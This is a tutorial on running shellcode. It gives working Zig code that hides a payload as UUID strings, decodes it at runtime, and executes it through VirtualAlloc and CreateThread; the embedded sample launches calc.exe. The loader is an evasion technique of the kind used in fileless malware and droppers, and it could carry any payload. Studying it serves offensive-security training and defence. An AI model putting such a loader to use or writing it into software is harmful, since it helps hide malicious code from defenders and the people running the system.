Execute Via Shellcode
TL;DR
Executing payloads as shellcode involves storing the machine code directly in a
buffer, allocating executable memory, and then jumping to that buffer. The code
here uses the ZYPE tool to generate encrypted shellcode that is decoded at
runtime. After calling Windows APIs such as VirtualAlloc
and CreateThread
,
the program transfers control to the shellcode, effectively running the payload
without dropping any additional files. This direct execution model is common in
many droppers and fileless malware samples.
What Is Shellcode?
Shellcode is a sequence of machine instructions, that are designed to be injected into a running program to execute a specific payload.
It often spawns a shell(cmd.exe
or powershell.exe
in windows, /bin/sh
in linux).
Code Walkthrough
The payload array and deobfuscation function is generated by ZYPE, you should go install that tool if you haven't. That will make generating encrypted/obfuscated payload to be much more easier.
Declaring all the constants:
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
// Windows API types
const PVOID = *anyopaque;
const DWORD = windows.DWORD;
const SIZE_T = usize;
const PBYTE = [*]u8;
// Memory protection constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;
// Windows API functions
extern "kernel32" fn GetCurrentProcessId() callconv(.C) DWORD;
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn VirtualAlloc(?PVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?PVOID;
extern "kernel32" fn VirtualProtect(PVOID, SIZE_T, DWORD, *DWORD) callconv(.C) windows.BOOL;
extern "kernel32" fn CreateThread(?windows.HANDLE, SIZE_T, *const fn (?PVOID) callconv(.C) DWORD, ?PVOID, DWORD, ?*DWORD) callconv(.C) ?windows.HANDLE;
extern "kernel32" fn HeapFree(windows.HANDLE, DWORD, PVOID) callconv(.C) windows.BOOL;
extern "kernel32" fn GetProcessHeap() callconv(.C) windows.HANDLE;
UUID array is generated from the following command (for more information about zype: https://github.com/cx330blake/zype):
This generates us 17 UUID strings and are stored in the UUID_ARRAY
const UUID_ARRAY: [17][]const u8 = [_][]const u8{
"E48348FC-E8F0-00C0-0000-415141505251",
"D2314856-4865-528B-6048-8B5218488B52",
"728B4820-4850-B70F-4A4A-4D31C94831C0",
"7C613CAC-2C02-4120-C1C9-0D4101C1E2ED",
"48514152-528B-8B20-423C-4801D08B8088",
"48000000-C085-6774-4801-D0508B481844",
"4920408B-D001-56E3-48FF-C9418B348848",
"314DD601-48C9-C031-AC41-C1C90D4101C1",
"F175E038-034C-244C-0845-39D175D85844",
"4924408B-D001-4166-8B0C-48448B401C49",
"8B41D001-8804-0148-D041-5841585E595A",
"59415841-5A41-8348-EC20-4152FFE05841",
"8B485A59-E912-FF57-FFFF-5D48BA010000",
"00000000-4800-8D8D-0101-000041BA318B",
"D5FF876F-E0BB-2A1D-0A41-BAA695BD9DFF",
"C48348D5-3C28-7C06-0A80-FBE07505BB47",
"6A6F7213-5900-8941-DAFF-D563616C6300",
};
const NUMBER_OF_ELEMENTS: usize = 17;
Manually parsing the UUID strings such that they match Windows UuidFromStringA
behavior (converting each UUID string into a 16-byte binary representation, removing hyphens, correcting endianness)
fn parseUuidManual(uuid_str: []const u8, buffer: []u8) !void {
if (buffer.len < 16) return error.BufferTooSmall;
// UUID format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
// Split into parts: [8]-[4]-[4]-[4]-[12] = 32 hex chars + 4 hyphens
var clean_hex = std.ArrayList(u8).init(std.heap.page_allocator);
defer clean_hex.deinit();
// Remove hyphens to get 32 hex characters
for (uuid_str) |c| {
if (c != '-') {
try clean_hex.append(c);
}
}
if (clean_hex.items.len != 32) return error.InvalidUuidLength;
// Parse UUID components with correct endianness
// Windows UUID structure (matches GUID):
// - First 4 bytes (data1): Little-endian 32-bit
// - Next 2 bytes (data2): Little-endian 16-bit
// - Next 2 bytes (data3): Little-endian 16-bit
// - Last 8 bytes (data4): Big-endian bytes
const hex_chars = clean_hex.items;
// Data1 (4 bytes, little-endian)
const data1 = try std.fmt.parseInt(u32, hex_chars[0..8], 16);
buffer[0] = @intCast(data1 & 0xFF);
buffer[1] = @intCast((data1 >> 8) & 0xFF);
buffer[2] = @intCast((data1 >> 16) & 0xFF);
buffer[3] = @intCast((data1 >> 24) & 0xFF);
// Data2 (2 bytes, little-endian)
const data2 = try std.fmt.parseInt(u16, hex_chars[8..12], 16);
buffer[4] = @intCast(data2 & 0xFF);
buffer[5] = @intCast((data2 >> 8) & 0xFF);
// Data3 (2 bytes, little-endian)
const data3 = try std.fmt.parseInt(u16, hex_chars[12..16], 16);
buffer[6] = @intCast(data3 & 0xFF);
buffer[7] = @intCast((data3 >> 8) & 0xFF);
// Data4 (8 bytes, big-endian - byte by byte)
for (0..8) |i| {
const hex_pair = hex_chars[16 + i * 2 .. 16 + i * 2 + 2];
buffer[8 + i] = try std.fmt.parseInt(u8, hex_pair, 16);
}
}
This functions iterates over the UUID array to reconstruct the original shell. It allocates a buffer to hold the deobfuscated payload (17 UUIDs x 16 bytes = 272 bytes)
fn uuidDeobfuscation(uuid_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
const buffer_size = uuid_array.len * 16;
const buffer = try allocator.alloc(u8, buffer_size);
for (uuid_array, 0..) |uuid_str, i| {
const offset = i * 16;
parseUuidManual(uuid_str, buffer[offset .. offset + 16]) catch |err| {
std.debug.print("[!] Failed to parse UUID[{}]: \"{s}\" - Error: {}\n", .{ i, uuid_str, err });
allocator.free(buffer);
return err;
};
}
return buffer;
}
Steps to follow in the main fucntion:
- Deobfuscating the UUID array into a shellcode buffermain.zig
const p_deobfuscated_payload = uuidDeobfuscation(&UUID_ARRAY, allocator) catch |err| { print("[!] uuidDeobfuscation Failed With Error: {}\n", .{err}); std.process.exit(1); }; defer allocator.free(p_deobfuscated_payload); print("[+] DONE !\n", .{}); const s_deobfuscated_size = p_deobfuscated_payload.len; print("[i] Deobfuscated Payload At : 0x{x} Of Size : {d} \n", .{ @intFromPtr(p_deobfuscated_payload.ptr), s_deobfuscated_size }); waitForEnter("[#] Press <Enter> To Allocate ... ");
- Allocating memory with
VirtualAlloc
and copying the deobfuscated shell code to the allocated memorymain.zigconst p_shellcode_address = VirtualAlloc(null, s_deobfuscated_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse { print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()}); std.process.exit(1); }; print("[i] Allocated Memory At : 0x{x} \n", .{@intFromPtr(p_shellcode_address)}); waitForEnter("[#] Press <Enter> To Write Payload ... "); // Copy the payload to allocated memory @memcpy(@as([*]u8, @ptrCast(p_shellcode_address))[0..s_deobfuscated_size], p_deobfuscated_payload); // Clear the original payload buffer @memset(@as([*]u8, @ptrCast(p_deobfuscated_payload.ptr))[0..s_deobfuscated_size], 0);
- Changing memory protection to executable using
VirtualProtect
- Creating a new thread to execute shell code using
CreateThread
main.zigconst thread_handle = CreateThread(null, 0, @ptrCast(p_shellcode_address), null, 0, null) orelse { print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()}); std.process.exit(1); }; _ = thread_handle; // Suppress unused variable warning print("[+] Calculator should launch now!\n", .{}); waitForEnter("[#] Press <Enter> To Quit ... "); // Pause the execution. return;
NOTE: If we don't use waitForEnter()
here, the main thread might have high possibility to exit before the shellcode being executed. So here we use that function to pause the execution. In practice, we should use WaitForSingleObject()
function from Windows API to wait until the new thread to finish or the thread it timed out. So that the main thread will not exit before the shellcode execution.